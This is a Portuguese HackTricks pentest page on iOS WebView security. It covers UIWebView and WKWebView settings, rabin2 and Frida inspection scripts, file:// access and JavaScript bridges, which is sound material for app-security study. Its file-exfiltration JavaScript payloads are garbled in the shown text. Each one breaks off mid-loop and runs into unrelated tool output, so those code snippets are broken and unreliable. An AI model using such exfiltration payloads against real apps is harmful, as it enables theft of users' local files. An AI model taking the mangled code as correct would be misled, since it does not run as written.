# iOS WebViews
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Tipos de WebViews WebViews são componentes de navegador dentro de aplicativos para exibir **conteúdo web** interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. iOS WebViews **suportam** execução de **JavaScript** **por padrão**, então injeção de scripts e ataques de Cross-Site Scripting podem afetá-los. * [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. **JavaScript não pode ser desativado**. * [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido. * **JavaScript** está habilitado por padrão, mas graças à propriedade **`javaScriptEnabled`** do `WKWebView`, ele **pode ser completamente desativado**, prevenindo todos os defeitos de injeção de scripts. * A propriedade **`JavaScriptCanOpenWindowsAutomatically`** pode ser usada para **prevenir** que JavaScript **abra novas janelas**, como pop-ups. * A propriedade **`hasOnlySecureContent`** pode ser usada para verificar se os recursos carregados pelo WebView são obtidos através de conexões criptografadas. * `WKWebView` implementa renderização fora do processo, então **bugs de corrupção de memória não afetarão** o processo principal do aplicativo. * [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Deve ser usado para fornecer uma **experiência de visualização web generalizada**. Esses WebViews podem ser facilmente identificados pois têm um layout característico que inclui os seguintes elementos: * Um campo de endereço somente leitura com um indicador de segurança. * Um botão de Ação ("**Compartilhar**"). * Um **botão Concluído**, botões de navegação para voltar e avançar, e um botão "Safari" para abrir a página diretamente no Safari. * **JavaScript não pode ser desativado** no `SFSafariViewController` e esta é uma das razões pelas quais o uso de `WKWebView` é recomendado quando o objetivo é estender a interface do usuário do aplicativo. * `SFSafariViewController` também **compartilha cookies** e outros dados de sites com o **Safari**. * A atividade e interação do usuário com um `SFSafariViewController` **não são visíveis para o aplicativo**, que não pode acessar dados de AutoFill, histórico de navegação ou dados de sites. * De acordo com as Diretrizes de Revisão da App Store, `SFSafariViewController`s **não podem ser ocultados ou obscurecidos por outras visualizações ou camadas**. ## Descobrindo Configurações de WebViews ### Análise Estática **UIWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" 489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView 896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView 1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView ``` **WKWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView 625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView 904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView 1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView ``` Alternativamente, você também pode procurar por métodos conhecidos dessas classes WebView. Por exemplo, procure pelo método usado para inicializar um WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)): ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO 0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO ``` #### Testando Configuração de JavaScript Para `WKWebView`s, como uma melhor prática, JavaScript deve ser desativado a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, procure no projeto por usos de `WKPreferences` e garanta que a propriedade [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) esteja configurada como `false`: ``` let webPreferences = WKPreferences() webPreferences.javaScriptEnabled = false ``` Se você tiver apenas o binário compilado, pode procurar isto nele: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" 391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled 392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled ``` #### Testando OnlySecureContent Em contraste com `UIWebView`s, ao usar `WKWebView`s é possível detectar [conteúdo misto](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (conteúdo HTTP carregado de uma página HTTPS). Utilizando o método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) pode-se verificar se todos os recursos na página foram carregados através de conexões seguras e criptografadas.\ No binário compilado: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` Você também pode procurar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto nos [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content). ### Análise Dinâmica É possível inspecionar o heap via `ObjC.choose()` para encontrar instâncias dos diferentes tipos de WebViews e também procurar pelas propriedades `javaScriptEnabled` e `hasonlysecurecontent`: {% code title="webviews_inspector.js" %} ```javascript ObjC.choose(ObjC.classes['UIWebView'], { onMatch: function (ui) { console.log('onMatch: ', ui); console.log('URL: ', ui.request().toString()); }, onComplete: function () { console.log('done for UIWebView!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ObjC.choose(ObjC.classes['SFSafariViewController'], { onMatch: function (sf) { console.log('onMatch: ', sf); }, onComplete: function () { console.log('done for SFSafariViewController!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled()); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); } }); ``` Carregue-o com: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js onMatch: > hasOnlySecureContent: false ``` ## Manipulação de Protocolo WebView Vários esquemas padrão estão disponíveis e são interpretados em um WebView no iOS, por exemplo: * http(s):// * file:// * tel:// WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carregar conteúdo local do diretório de dados do aplicativo. Se o conteúdo local for carregado, o usuário não deve ser capaz de influenciar o nome do arquivo ou o caminho usado para carregar o arquivo, e os usuários não devem ser capazes de editar o arquivo carregado. ### Carregamento de conteúdo WebView * **UIWebView**: Pode usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para carregar conteúdo. * **WKWebView**: Pode usar os métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para carregar arquivos HTML locais e `loadRequest:` para conteúdo web. Tipicamente, os arquivos locais são carregados em combinação com métodos que incluem, entre outros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Além disso, você também deve verificar se o aplicativo está usando o método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Seu primeiro parâmetro é `URL` e contém a URL a ser carregada no WebView, seu segundo parâmetro `allowingReadAccessToURL` pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se contiver um diretório, todos os arquivos nesse **diretório estarão disponíveis para o WebView**. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele. Se você tem o código-fonte, pode procurar por esses métodos. Tendo o **binário** **compilado**, você também pode procurar por esses métodos: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` ### Acesso a Arquivos * **UIWebView:** * O esquema `file://` está sempre ativado. * O acesso a arquivos a partir de URLs `file://` está sempre ativado. * O acesso universal a partir de URLs `file://` está sempre ativado. * Se você recuperar a origem efetiva de um `UIWebView` onde `baseURL` também está definido como `nil`, você verá que **não está definido como "null"**, em vez disso, você obterá algo semelhante ao seguinte: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`. Esta origem "applewebdata://" é semelhante à origem "file://" pois **não implementa a Política de Mesma Origem** e permite acesso a arquivos locais e quaisquer recursos da web. {% tabs %} {% tab title="exfiltrate_file" %} ```javascript String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i> URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/ Library/WKWebView/scenario1.html javaScriptEnabled: true allowFileAccessFromFileURLs: 0 hasOnlySecureContent: false allowUniversalAccessFromFileURLs: 0 ``` #### Exfiltrar arquivos arbitrários ```javascript //For some reason this payload doesn't work!! //Let me know if you know how to exfiltrate local files from a WKWebView String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i ``` ### Função Chamada A função chamada reside em [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29): ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { //... case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) //... let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) ``` ### Testando Para testar o envio de uma postMessage dentro de um aplicativo, você pode: * Alterar a resposta do servidor (MitM) * Realizar uma instrumentação dinâmica e injetar o payload JavaScript usando frameworks como Frida e as respectivas funções de avaliação JavaScript disponíveis para os iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` e [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`). ## Depurando iOS WebViews (Tutorial de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) Nos webviews do iOS, mensagens enviadas para `console.log()` _não_ são impressas nos logs do Xcode. Ainda é relativamente fácil depurar conteúdo web com as ferramentas de desenvolvedor do Safari, embora existam algumas limitações: * A depuração de webviews do iOS requer Safari, então seu computador de desenvolvimento deve estar executando macOS. * Você só pode depurar webviews em aplicativos carregados em seu dispositivo através do Xcode. Não é possível depurar webviews em apps instalados pela App Store ou Apple Configurator. Com essas limitações em mente, aqui estão os passos para depurar remotamente um webview no iOS: * Primeiro, habilite o Safari Web Inspector no seu dispositivo iOS abrindo o aplicativo _Configurações_ do iOS, navegando até **Configurações > Safari > Avançado**, e ativando a opção _Web Inspector_. ![Configurações do Safari no iOS](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg) * Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até **Safari > Preferências** na barra de menus. No painel de preferências que aparece, clique na aba _Avançado_ e depois habilite a opção _Mostrar menu Desenvolvedor_ na parte inferior. Depois disso, você pode fechar o painel de preferências. ![Configurações do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg) * Conecte seu dispositivo iOS ao seu computador de desenvolvimento e inicie seu aplicativo. * No Safari em seu computador de desenvolvimento, clique em _Desenvolvedor_ na barra de menus e passe o mouse sobre a opção dropdown que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução no seu dispositivo iOS. ![Menu de desenvolvedor do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg) * Clique na opção dropdown para o webview que você deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview. ![Janela do Safari Web Inspector](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg) ## Referências * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.